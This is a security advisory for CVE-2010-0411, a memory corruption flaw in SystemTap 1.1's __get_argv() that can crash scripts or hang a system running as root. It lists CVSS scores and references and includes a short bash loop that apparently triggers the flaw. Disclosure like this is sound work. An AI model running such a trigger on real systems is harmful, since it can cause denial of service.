SystemTap 1.1 Local Memory Corruption Vulnerabilities

2010.02.11

Credit: Vincent Danen

Risk: High

Local: Yes

Remote: No

CVE: CVE-2010-0411

CWE: CWE-189

CVSS Base Score: 4.9/10

Impact Subscore: 6.9/10

Exploitability Subscore: 3.9/10

Exploit range: Local

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Complete

Just a heads up that an issue in SystemTap was found where using the
__get_argv() function in tapset could result in a crash of the SystemTap
script that calls it (and syscall.execve) or, if it's running as root,
could lead to a hang/crash of the system running the script.

This flaw has been assigned CVE-2010-0411.  More details can be found
here:

https://bugzilla.redhat.com/show_bug.cgi?id=559719
http://sourceware.org/bugzilla/show_bug.cgi?id=11234

#!/bin/bash
while [ "0" = "0" ] ; do
HOME=1
/bin/echo /usr/src/kernels/2.6.18-128.el5-PAE-i686/include/*/*

cat /proc/slabinfo
done

References:

https://bugzilla.redhat.com/show_bug.cgi?id=559719

http://www.securityfocus.com/bid/38120

http://sourceware.org/git/gitweb.cgi?p=systemtap.git;a=commit;h=a2d399c87a642190f08ede63dc6fc434a5a8363a

http://sourceware.org/bugzilla/show_bug.cgi?id=11234

http://secunia.com/advisories/38426

http://marc.info/?l=oss-security&m=126530657715364&w=2

See this note in RAW Version

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SystemTap 1.1 Local Memory Corruption Vulnerabilities

References:

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